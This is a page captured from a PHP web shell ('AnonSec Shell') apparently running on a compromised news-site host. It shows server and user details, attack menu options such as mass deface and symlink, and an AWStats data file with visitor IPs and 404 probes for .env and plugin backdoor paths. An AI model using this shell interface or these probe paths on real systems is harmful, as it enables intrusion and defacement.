. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.41.133  /  Your IP : 18.119.253.7   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux altar63.supremepanel63.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : abranoticias ( 1103)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/home/abranoticias/./tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/home/abranoticias/./tmp/awstats/awstats082020.abranoticias.com.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202008 will be lost/reset.
# Last config file used to build this data file was /home/abranoticias/tmp/awstats/awstats.abranoticias.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2017                
POS_TIME 2685                
POS_VISITOR 13743               
POS_DAY 23668               
POS_DOMAIN 3568                
POS_LOGIN 3991                
POS_ROBOT 4146                
POS_WORMS 5040                
POS_EMAILSENDER 5171                
POS_EMAILRECEIVER 5314                
POS_SESSION 24447               
POS_SIDER 24616               
POS_FILETYPES 5449                
POS_DOWNLOADS 5659                
POS_OS 5848                
POS_BROWSER 6021                
POS_SCREENSIZE 6592                
POS_UNKNOWNREFERER 6666                
POS_UNKNOWNREFERERBROWSER 7401                
POS_ORIGIN 7691                
POS_SEREFERRALS 7830                
POS_PAGEREFS 7974                
POS_SEARCHWORDS 8233                
POS_KEYWORDS 8385                
POS_MISC 2348                
POS_ERRORS 8444                
POS_CLUSTER 3847                
POS_SIDER_404 8585                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20200901020450 95 19683 17114524300586
FirstTime 0
LastTime 20200830201256
LastUpdate 20200901232513 95 0 81 13 0
TotalVisits 146                 
TotalUnique 121                 
MonthHostsKnown 0                   
MonthHostsUnknown 317                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
DirectorSupport 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
RealPlayerSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 34 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 5 29 417884 434 456 6125019
1 3 9 163612 419 433 5595116
2 2 2 8000 312 323 3411664
3 2 4 69045 293 305 3542699
4 4 26 238048 389 409 4529354
5 5 5 39756 351 379 3680061
6 8 36 866498 400 431 4498252
7 8 46 743666 425 440 4483924
8 8 81 6073604 449 495 4336957
9 7 61 4072759 476 532 5244740
10 7 97 8372116 464 489 4518599
11 7 101 11433317 528 555 5707199
12 5 62 3777194 504 532 5609454
13 12 79 5559059 584 606 6227933
14 0 30 2471909 532 568 5293667
15 42 124 6868650 835 862 5052852
16 12 131 8560986 629 680 5798888
17 9 61 3865460 644 670 7043290
18 8 73 5299593 612 632 5864617
19 7 101 5561484 582 617 5147591
20 17 135 3785957 589 624 5433981
21 13 173 4549269 521 560 4675295
22 15 144 3268195 481 496 4643811
23 7 92 3947571 403 415 3974469
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 15
us 124 933 82770565
co 47 531 5101421
gb 11 12 171243
cl 9 9 36570
ar 5 68 606220
pa 4 48 460166
in 3 45 378205
cz 2 24 231052
ch 2 24 230080
hn 2 2 8160
fr 1 1 0
hk 1 1 3803
au 1 1 12193
mu 1 1 3838
se 0 2 116
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 20
GrapeshotCrawler/ 4474 66835219 20200831214314 39
DotBot/ 1256 31189376 20200829123325 18
facebookexternalhit/ 437 6491736 20200828160206 0
fetcher 320 4779357 20200831221327 0
crawl 133 7714 20200831123302 0
Googlebot/ 122 143497 20200831164220 40
bingbot/ 114 13452 20200831151453 114
proximic 71 4118 20200831161310 0
unknown 40 4725 20200830102907 40
feed 32 117945 20200831203907 0
robot 20 1160 20200830105834 0
no_user_agent 12 31745 20200831013422 10
Mediatoolkitbot 10 1230 20200823164538 10
bot[\s_+:,\.\;\/\\-] 7 28837 20200826151754 5
Mediapartners-Google 5 63009 20200829162341 0
Dalvik/ 4 60922 20200817081210 0
link 3 354 20200825163356 3
Yahoo![\x20]Slurp 2 246 20200815193754 2
Python\-urllib/ 1 1419 20200810015506 0
curl 1 0 20200805044123 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 8
woff2 30 2314800 0 0
jpg 784 79866704 0 0
css 256 2188736 0 0
txt 6 348 0 0
php 42 0 0 0
html 141 3420906 0 0
png 30 14490 0 0
js 413 2207648 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/ads.txt 289 0 16762
/wp-content/uploads/2020/07/Decreto-290-de-2020.pdf 1 0 1531585
/wp-content/uploads/2020/07/unipa-tutela.docx 1 0 21029
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 8
win7 41 41
linuxandroid 668 57
macosx12 1 1
win10 80 57
Unknown 831 42
winxp 2 2
linux 31 9
ios_iphone 48 4
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 24
safari13.1.2 24 2
chrome84.0.4147.111 285 24
chrome55.0.2883.95 1 1
chrome69.0.3497.100 26 4
iphone 24 2
Unknown 827 40
chrome84.0.4147.125 168 38
firefox62.0 4 4
chrome78.0.3882.0 24 2
chrome5.0.375.99 2 2
mozilla 4 2
chrome79.0.3945.116 24 2
chrome81.0.4044.129 3 3
chrome75.0.3770.101 24 2
msie11.0 1 1
chrome72.0.3626.121 9 9
chrome81.0.4044.113 1 1
chrome80.0.2092.122 1 1
firefox71.0 1 0
chrome84.0.4147.89 41 19
chrome72.0.3626.109 40 40
chrome84.0.4147.105 120 10
chrome85.0.4183.81 24 2
chrome62.0.3202.84 24 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 8
Mozilla/5.0_(compatible;_Yahoo_Ad_monitoring;_https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html)_tands-prod-eng.hlfs-prod---sieve.hlfs-rest_client/1597538274-0 20200815193755
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20200804065230
adreview/1.0 20200830154853
cortex/1.0 20200827144027
WordPress/5.4.2;_https://www.abranoticias.com 20200828185839
Go-http-client/1.1 20200824112431
Jersey/2.25.1_(HttpUrlConnection_1.8.0_141) 20200816080055
Mozilla/5.0_(compatible;_Yahoo_Ad_monitoring;_https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html)_tands-prod-eng.hlfs-prod---sieve.hlfs-rest_client/1596588002-0 20200804194003
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 5
Go-http-client/1.1 20200824112431
WordPress/5.4.2;_https://www.abranoticias.com 20200828185839
adreview/1.0 20200830154853
cortex/1.0 20200827144027
Jersey/2.25.1_(HttpUrlConnection_1.8.0_141) 20200816080055
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 108 920
From1 3 3
From2 0 0
From3 29 29
From4 73 750
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 4
http://m.facebook.com 25 25
http://site.ru 2 2
https://t.co/gkHXOScnC4 1 1
http://mail.abranoticias.com/// 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
301 4476 706
302 21 0
503 17 12206
404 864 10609935
403 33 40524
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 61
/wp-cron.php 764 http://www.abranoticias.com/wp-cron.php
/backup/wp-content/plugins/apikey/apikey.php 1 -
/backup/wp-admin/ 3 http://abranoticias.com/
/new/wp-content/plugins/apikey/apikey.php 1 -
/wp-content/themes/dunag/db.php 1 http://site.ru
/profile/register/ 3 -
/2020/08/01/en-pasto-habrian-detenido-a-funcionarios-embriagados 6 -
/wp-content/plugins/apikey/apikey.php 1 -
/OLD/wp-admin/ 2 http://abranoticias.com/
/ 3 http://www.abranoticias.com///
/wordpress/profile/register/ 3 -
/blog/wp-login.php 3 http://abranoticias.com/blog/wp-login.php
/2020/08/19/titulo-de-caricatura-de-matador-ministerio-de-salud-lo-habia-confirmado/%20\"Context-TransientAssetStore08-prod\"$cdf5b3ef-0daa-4a59-b3ae-7f22c72363c6*%20es0\xef\xbf\xbd 1 -
/demo/wp-login.php 1 -
/%20\"Context-TransientAssetStore14-prod\"$ec53e053-7f9d-4b93-b654-cedab5e23553*%20es0\xef\xbf\xbd 1 -
/simplet.php 1 http://site.ru
/mysql/print.css 1 -
/2020/08/01/en-pasto-habrian-detenido-a-funcionarios-embriagados/ 5 -
/phpMyAdmin/print.css 1 -
/.env 2 -
/wp-content/themes/justread/footer1.php 1 http://site.ru
/2020/08/19/en-cumbal-atentaron-contra-la-vida-de-exgobernador-indigena/%20\"Context-TransientAssetStore14-prod\"$cb5a1b4d-75ae-4a9e-88cd-8b08bdf8f70d*%20es0\xef\xbf\xbd 1 -
/2020/08/19/entregaron-armas-a-cambio-de-alimentos-en-comuna-de-pasto/%20\"Context-TransientAssetStore16-prod\"$fa41c166-8558-4e67-ad5b-8712c07ac96f*%20es0\xef\xbf\xbd 1 -
/tag/eder-burgos/%20\"Context-TransientAssetStore08-prod\"$884cfdba-5ae3-4b7d-ab0e-9d7bb4c01963*%20es0\xef\xbf\xbd 1 -
/2020/08/09/senador-del-cd-dijo-hasta-las-ranitas-y-las-chicharras-dicen-uribe-uribe-uribe/%20\"Context-TransientAssetStore15-prod\"$0a2f26d2-a79d-4104-9e8b-a2ecefb29f88*%20es0\xef\xbf\xbd 1 -
/blog/wp-content/plugins/apikey/apikey.php 1 -
/old/wp-admin/ 2 http://abranoticias.com/
/new/profile/register/ 3 -
/wp-content/a.php 1 http://site.ru
/google27ec4d5878a6c5cf.html 1 -
/old/wp-content/plugins/apikey/apikey.php 1 -
/wordpress/wp-admin/install.php 2 -
/2020/08/19/en-cumbal-atentaron-contra-la-vida-de-exgobernador-indigena/%20\"Context-TransientAssetStore15-prod\"$0f967a14-c206-43cc-95fe-eb687a3f34fc*%20es0\xef\xbf\xbd 1 -
/humans.txt 2 http://abranoticias.com/humans.txt
/myadmin/print.css 1 -
/2020/08/19/titulo-de-caricatura-de-matador-ministerio-de-salud-lo-habia-confirmado/%20\"Context-TransientAssetStore15-prod\"$575d3231-bb6c-4f37-a37e-87deee8b166e*%20es0\xef\xbf\xbd 1 -
/2020/08/19/entregaron-armas-a-cambio-de-alimentos-en-comuna-de-pasto/%20\"Context-TransientAssetStore09-prod\"$ea16338d-659d-4b5a-8b91-a6206feb7bbe*%20es0\xef\xbf\xbd 1 -
/test/wp-login.php 3 -
/wp/wp-content/plugins/apikey/apikey.php 1 -
/wp/wp-admin/ 2 http://abranoticias.com/
/database/print.css 1 -
/2020/07/24/escandalo-en-cuaspud-concejal-habria-pedido-al-ejercito-le-deje-pasar-una-carguita/%20\"Context-TransientAssetStore04-prod\"$64a49f52-8402-4169-8c20-9474c0b7d62d*%20es0\xef\xbf\xbd 1 -
/vendor/phpunit/phpunit/phpunit.xsd 1 -
/pma/print.css 1 -
/2020/04/30/acusan-a-policia-de-desembarcar-venezolanos-en-territorio-indigena-de-ipiales/%20\"Context-TransientAssetStore11-prod\"$2586b856-955e-4300-9cac-8aae566f8b33*%20es0\xef\xbf\xbd 1 -
/2020/07/30/alcalde-y-gestora-social-de-ricaurte-confirman-positivo-para-covid-19/%20\"Context-TransientAssetStore12-prod\"$30135349-56b0-4c5a-8e30-90eb23c37386*%20es0\xef\xbf\xbd 1 -
/phpmyadmin/print.css 1 -
/wp/profile/register/ 3 -
/2020/07/24/escandalo-en-cuaspud-concejal-habria-pedido-al-ejercito-le-deje-pasar-una-carguita/%20\"Context-TransientAssetStore04-prod\"$2af2f197-ee80-456a-a5a0-7c69c5da9570*%20es0\xef\xbf\xbd 1 -
/forums/ 1 -
/2020/07/18/manos-criminales-habrian-generado-incendio-en-templo/%20\"Context-TransientAssetStore05-prod\"$bb7cf18a-dbff-4df8-b392-dc8baa7ebf39*%20es0\xef\xbf\xbd 1 -
/demo/profile/register/ 3 -
/wordpress/wp-admin/ 4 http://abranoticias.com/
/wordpress/wp-content/plugins/apikey/apikey.php 1 -
/2020/07/30/alcalde-y-gestora-social-de-ricaurte-confirman-positivo-para-covid-19/%20\"Context-TransientAssetStore13-prod\"$acfefbaf-650b-4e79-9363-7e064afc3220*%20es0\xef\xbf\xbd 1 -
/2020/07/18/manos-criminales-habrian-generado-incendio-en-templo/%20\"Context-TransientAssetStore05-prod\"$3f17af18-69a4-44e2-a626-0a72bfbd26ff*%20es0\xef\xbf\xbd 1 -
/2020/08/20/no-soy-ladron-ni-pertenezco-algun-grupo-somos-humildes-y-trabajadores-william-guadir/%20\"Context-TransientAssetStore13-prod\"$2e416148-fabb-4b4f-812b-bf355d64fedb*%20es0\xef\xbf\xbd 1 -
/2020/08/20/una-firma-falta-para-entrega-de-maquina-extintora-a-bomberos-de-chachagui-alcalde-no-respondio/%20\"Context-TransientAssetStore15-prod\"$fe52ba26-9576-4a2e-8147-e08518c32c92*%20es0\xef\xbf\xbd 1 -
/wp-content/plugins/wpdiscuz/readme.txt 1 http://abranoticias.com/wp-content/plugins/wpdiscuz/readme.txt
/blog/profile/register/ 3 -
/old/profile/register/ 3 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 317
144.217.69.137 40 40 0 20200828185839
54.71.119.131 4 4 235075 20200810134627
191.106.162.178 4 26 255962 20200829163024
34.215.146.223 3 3 175426 20200812083243
181.143.239.2 3 25 245606 20200813192453
45.167.250.140 3 45 378205 20200813194944
201.216.46.178 2 24 230623 20200803174153
191.106.209.96 2 24 230422 20200813220646
181.62.56.103 2 24 229364 20200801122200
195.74.76.194 2 24 231052 20200805152508
191.97.5.29 2 24 230556 20200828211822
190.252.187.43 2 24 230109 20200811221004
18.237.215.68 2 2 117458 20200804192809
186.84.91.94 2 24 230092 20200811231214
186.84.89.126 2 24 230094 20200812061610
54.196.12.172 2 2 121233 20200817085029
191.92.248.84 2 24 230094 20200811210833
201.182.250.40 2 24 230095 20200811234151
191.106.153.141 2 24 230092 20200811211052
104.232.209.195 2 2 7576 20200825015907
181.52.169.69 2 24 229543 20200802134713
52.27.202.103 2 2 116135 20200815113835
51.161.15.98 2 2 31115 20200826231448
154.30.172.70 2 2 7977 20200818101337
51.161.15.101 2 2 29387 20200816182938
173.252.127.39 0 1 171918 
173.252.127.19 0 2 270776 
173.252.87.10 0 6 510085 
173.252.95.118 0 7 706373 
66.220.149.26 0 1 171918 
154.30.146.166 1 1 4168 20200805013223
173.252.87.1 0 4 409506 
173.252.95.5 0 4 464787 
173.252.127.120 0 4 414098 
54.84.91.107 1 1 59626 20200828121624
54.225.54.164 1 1 59084 20200812104132
154.16.163.66 1 1 3838 20200819061027
216.19.221.168 1 1 3898 20200823033653
173.252.87.17 0 9 950200 
69.171.251.16 0 13 230638 
66.220.149.9 0 1 171918 
173.252.87.4 0 3 237312 
173.252.127.5 0 8 763184 
173.252.87.112 0 1 30504 
173.252.127.1 0 4 367350 
51.161.15.117 1 1 15659 20200811234952
173.252.127.3 0 2 202420 
173.252.95.8 0 5 256440 
66.249.92.45 1 1 47 20200804064318
74.85.209.125 1 1 3848 20200826211203
185.98.131.155 1 1 0 20200801054437
54.187.98.252 1 1 62843 20200813151314
173.252.87.14 0 6 675136 
173.252.127.15 0 2 60044 
74.6.168.195 0 1 58 
173.252.127.35 0 3 293356 
38.131.143.49 1 1 4065 20200804063310
38.145.112.248 1 1 4122 20200815091233
139.59.77.43 1 1 12193 20200822113055
186.179.6.32 1 1 4053 20200807114617
64.137.108.14 1 1 3862 20200827113135
181.214.183.115 1 1 4324 20200808223227
66.220.149.31 0 2 226310 
216.19.199.251 1 1 3908 20200816221620
162.214.28.25 1 1 12226 20200828154325
69.171.251.1 0 3 318306 
173.252.95.15 0 3 225207 
34.240.194.202 1 1 15602 20200810052214
173.252.127.14 0 3 204638 
173.252.127.34 0 1 90922 
173.252.95.22 0 9 849977 
181.214.169.196 1 1 3857 20200828201513
69.171.251.39 0 1 176786 
69.171.251.10 0 3 309522 
173.252.95.13 0 9 1104131 
173.252.95.11 0 4 461694 
51.161.15.103 1 1 14253 20200815001447
69.171.251.14 1 9 583943 20200824163117
69.171.251.32 0 4 530302 
173.252.95.29 0 6 868166 
173.252.95.119 0 4 474998 
173.252.95.41 0 1 176786 
69.171.251.112 0 1 135388 
168.91.116.48 1 1 4203 20200808055146
66.220.149.2 0 1 171918 
51.161.15.116 1 1 15295 20200815203847
173.252.127.18 0 5 402722 
173.252.95.28 0 4 474523 
69.171.251.17 0 6 604414 
173.252.127.10 0 3 515754 
173.252.127.30 0 5 439732 
173.252.87.16 0 11 1071110 
173.252.127.26 0 3 439626 
69.171.251.4 0 8 705397 
173.252.127.8 0 1 90929 
173.252.87.2 0 8 782410 
173.252.95.116 0 7 826485 
173.252.95.120 0 7 674080 
18.237.68.147 1 1 61278 20200817163346
168.151.204.223 1 1 4021 20200822072033
69.171.251.9 0 5 372643 
69.171.251.111 0 1 30022 
173.252.127.29 0 3 196396 
173.252.87.20 0 6 668739 
66.220.149.16 0 2 267708 
52.42.15.67 1 1 53490 20200811105835
168.151.143.160 1 1 3817 20200828081544
208.94.227.42 1 1 3989 20200801175530
173.252.127.9 0 4 380942 
173.252.87.117 0 10 1344731 
173.252.95.36 0 4 611551 
69.171.251.7 0 6 734996 
173.252.127.2 0 4 368312 
128.199.107.230 1 1 18446 20200815165748
173.252.87.27 0 3 330091 
173.252.95.6 0 4 331302 
173.252.87.24 0 1 83205 
67.227.4.174 1 1 3781 20200817135329
64.137.83.16 1 1 4139 20200811035229
173.252.127.25 0 1 111498 
54.144.157.39 1 1 61329 20200821132028
69.171.251.113 0 3 346045 
173.252.95.37 0 3 290013 
104.227.64.200 1 1 4054 20200806225241
201.182.248.34 1 8 45004 20200811205232
173.252.127.119 0 1 176786 
54.224.1.184 1 1 60692 20200819200411
66.220.149.14 0 2 270776 
154.30.136.175 1 1 4107 20200814042303
69.171.251.117 0 8 809933 
173.252.87.9 0 5 568506 
173.252.95.12 0 7 555817 
173.252.87.111 0 1 90929 
51.89.228.207 0 1 58 
69.171.251.20 1 11 559050 20200824163115
173.252.127.24 0 7 665569 
66.220.149.17 0 2 60526 
173.252.95.23 0 4 388659 
173.252.95.21 0 4 356803 
13.90.40.236 1 1 18296 20200817062115
64.43.113.54 1 1 3873 20200802070305
173.252.95.34 0 8 651836 
69.171.251.2 0 7 743115 
173.252.95.25 0 4 413892 
190.121.158.51 2 24 230064 20200811224443
191.96.241.212 1 1 3937 20200830020619
173.252.95.30 0 5 386489 
173.252.95.19 0 2 206808 
69.171.251.33 0 2 181858 
69.171.251.31 0 3 305723 
38.145.103.52 1 1 4161 20200812211840
69.171.251.24 0 3 460202 
173.252.95.3 0 6 543042 
69.171.251.35 0 1 83205 
147.75.115.194 2 24 230080 20200811210148
173.252.127.117 0 2 61008 
173.252.127.16 0 2 154383 
69.171.251.27 0 5 584695 
173.252.95.18 0 6 368902 
173.252.127.36 0 2 348704 
181.215.70.135 1 1 4164 20200813094010
173.252.87.26 0 2 181851 
66.249.92.4 1 1 47 20200804065230
173.252.127.20 0 4 619480 
173.252.87.7 0 6 339645 
173.252.127.28 0 1 90922 
173.252.95.42 0 1 83205 
66.220.149.1 0 1 111498 
173.252.127.112 0 1 90929 
162.144.16.98 1 1 0 20200801073908
173.252.87.18 0 5 748951 
69.171.251.6 0 6 780502 
173.252.95.26 0 7 572943 
34.229.214.52 1 1 62893 20200819153552
173.252.95.7 0 8 725371 
74.6.168.250 0 1 58 
186.114.36.176 2 24 229303 20200801075307
173.252.127.17 0 6 555033 
173.252.87.19 0 3 236830 
158.115.235.178 1 1 3882 20200823225235
18.234.227.98 1 1 61581 20200829110444
35.163.121.1 2 2 123088 20200803184728
192.255.74.87 1 1 4038 20200803171249
173.252.87.3 0 5 597319 
54.245.198.68 2 2 123754 20200821170916
173.252.87.23 0 6 530450 
173.252.87.21 0 6 489776 
181.52.169.99 2 24 229549 20200806001306
173.252.95.9 0 10 853341 
173.252.87.12 0 4 262466 
173.252.127.22 0 3 232444 
173.252.87.25 0 5 600655 
69.171.251.120 0 3 305730 
69.171.251.116 0 4 344416 
66.220.149.8 0 1 90929 
69.171.251.36 0 1 90929 
64.137.31.41 1 1 4323 20200809105156
173.252.95.35 0 3 232444 
107.180.227.163 2 2 28485 20200828133104
173.252.95.24 0 2 207084 
173.252.127.118 0 5 434866 
69.171.251.3 0 8 901455 
69.171.251.19 0 8 903253 
69.171.251.30 0 3 318306 
191.156.11.48 2 24 230086 20200811204611
173.252.95.33 0 4 307930 
34.216.84.215 2 2 118983 20200815092937
173.252.95.31 0 5 451037 
54.224.209.194 1 1 61527 20200820184911
38.145.108.225 1 1 4123 20200812080025
186.118.56.169 2 24 230105 20200811205332
3.101.0.4 1 1 53786 20200806134302
173.252.127.11 0 2 259267 
173.252.127.31 0 4 607971 
66.220.149.15 0 1 176786 
181.215.191.9 1 1 4028 20200816053156
192.71.225.127 0 1 58 
66.220.149.22 0 2 247758 
173.252.95.27 0 1 30504 
69.171.251.18 0 6 623556 
64.137.21.185 1 1 3851 20200826043110
173.252.87.6 0 10 871162 
66.220.149.13 0 2 174134 
173.252.127.13 0 5 727912 
173.252.127.33 0 3 237312 
173.252.95.117 0 4 414098 
201.182.248.6 0 12 100552 
191.106.209.244 2 24 230437 20200814094704
54.188.33.14 2 2 116061 20200820174635
173.252.87.120 0 5 471864 
200.69.67.103 2 24 230569 20200815081056
69.171.251.25 0 8 1038486 
54.186.117.234 1 1 62589 20200817085130
181.157.31.68 2 24 230069 20200811210110
64.43.102.35 1 1 4200 20200809233931
66.220.149.119 0 1 135388 
69.171.251.34 0 2 226317 
3.88.57.31 1 1 62449 20200811153623
173.252.95.2 0 5 406096 
173.252.87.116 0 9 972866 
173.252.95.20 0 5 474727 
66.220.149.28 0 1 135388 
69.171.251.23 0 5 386343 
69.171.251.21 0 5 407178 
181.214.132.180 1 1 4001 20200821103835
69.171.251.12 0 6 497848 
209.242.213.26 1 1 4063 20200801025816
69.171.251.8 0 4 571694 
66.220.149.116 0 2 226317 
66.220.149.120 0 1 30504 
173.252.87.119 0 10 942470 
181.215.79.100 1 1 4072 20200814170807
54.184.197.192 2 2 119820 20200824164140
173.252.87.28 0 1 111498 
181.55.115.248 2 24 229529 20200803183259
173.252.95.16 0 5 558203 
192.71.44.44 0 1 58 
181.215.67.131 1 1 4105 20200810134952
173.252.127.27 0 3 195914 
173.252.87.15 0 5 592451 
69.171.251.5 0 9 908313 
173.252.127.7 0 2 165410 
69.171.251.118 0 3 317232 
181.214.173.209 1 1 4082 20200811201055
173.252.127.32 0 2 165892 
173.252.87.13 0 8 805343 
150.107.200.85 1 1 3803 20200803001742
66.220.149.6 0 2 113709 
173.252.87.11 0 3 298006 
173.252.127.12 0 5 568513 
138.36.95.113 1 1 4107 20200813220626
173.252.87.22 0 5 553342 
